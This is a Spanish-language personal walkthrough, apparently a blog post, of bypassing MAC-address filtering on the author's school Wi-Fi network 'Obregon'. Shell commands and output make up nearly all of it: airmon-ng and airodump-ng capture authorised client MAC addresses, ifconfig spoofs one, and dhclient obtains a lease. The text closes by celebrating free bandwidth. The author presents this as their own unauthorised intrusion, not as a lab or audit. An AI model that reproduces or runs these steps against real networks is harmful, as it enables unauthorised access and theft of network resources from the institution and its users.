La red con nombre Obregon en mi escuela tiene un filtrado por mac, la red en si no esta encriptada pero solo ciertas mac estan autorizadas,
nota las mac adress han sido cambiadas en este documento
#Nos Logeamos como root
[neo@localhost ~]$ su -
Contraseña: lero lero no te digo
#activamos modo monitor
[root@localhost ~]# airmon-ng start eth1
Interface Chipset Driver
eth1 Centrino b/g ipw2200 (monitor mode enabled)
#capturamos trafico y miramos las mac adress
[root@localhost ~]# airodump-ng -w wifi eth1
CH 11 ][ Elapsed: 8 s ][ 0000-00-00 00:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
20:1C:10:2E:7D:D4 0 3 0 0 6 48 WPA TKIP PSK Flore
00:1B:2B:A7:B6:93 0 1 0 0 11 54. OPN Obreg
00:1B:94:54:AB:A3 0 18 0 0 11 54. OPN Obreg
00:1B:90:54:92:23 0 13 2 0 11 54. OPN Obreg
00:1B:90:54:BC:53 0 18 0 0 1 54. OPN Obreg
22:0E:D7:64:3E:9A 0 24 27 0 6 11. OPN Adeli B
44:1D:5A:8E:60:31 0 32 0 0 6 54. WEP WEP Orang
11:1B:90:54:59:33 0 5 0 0 1 54. OPN Obreg
11:1B:90:54:94:C3 0 6 0 0 1 54. OPN Obreg
BSSID STATION PWR Lost Packets Probes
11:1A:90:54:94:C3 12:14:51:AD:CC:42 -1 0 2
22:3A:D7:64:3E:9A 20:19:D2:11:CC:1B 0 26 11 Adelita
11:2A:D7:64:3E:9A 22:14:A5:E3:15:2A 0 12 9
22:4A:D7:64:fE:9A 12:29:7E:BB:39:69 0 0 18 Adelita
#ya que obtenemos la mac detenemos airodumb y detenemos el modo monitor
[root@localhost ~]# airmon-ng stop eth1
Interface Chipset Driver
eth1 Centrino b/g ipw2200 (monitor mode disabled)
#damos de alta el dispositivo de red eth1
[root@localhost ~]# ifconfig eth1 up
#cambiamos la Mac del dispositivo de red
[root@localhost ~]# ifconfig eth1 hw ether 00:11:22:34:5B:61
#Buscamos redes
[root@localhost ~]# iwlist eth1 scanning
eth1 Scan completed :
Cell 01 - Address: 00:11:90:44:11:22
ESSID:"Obregon"
Protocol:IEEE 802.11bg
Mode:Master
Channel:1
Frequency:2.412 GHz (Channel 1)
Encryption key:off
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Quality=62/100 Signal level=-63 dBm
Extra: Last beacon: 240ms ago
#especificamos el essid o nombre de la red
[root@localhost ~]# iwconfig eth1 essid "Obregon"
#especificamos canal
[root@localhost ~]# iwconfig eth1 channel 1
#pedimos una ip con dhcp
[root@localhost ~]# dhclient eth1
Internet Systems Consortium DHCP Client V3.0.6
Copyright 2004-2007 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Listening on LPF/eth1/00:14:51:84:5b:61
Sending on LPF/eth1/00:14:51:84:5b:61
Sending on Socket/fallback
DHCPREQUEST on eth1 to 255.255.255.255 port 67
DHCPREQUEST on eth1 to 255.255.255.255 port 67
DHCPNAK from 1.1.1.1
DHCPDISCOVER on eth1 to 255.255.255.255 port 67 interval 8
receive_packet failed on eth1: Network is down
DHCPOFFER from 1.1.1.1
DHCPREQUEST on eth1 to 255.255.255.255 port 67
DHCPACK from 1.1.1.1
bound to 148.202.227.246 -- renewal in 41431 seconds.
[root@localhost ~]#
#Bingo! =) 10 megas para mi... bajar distros es divertidop n_n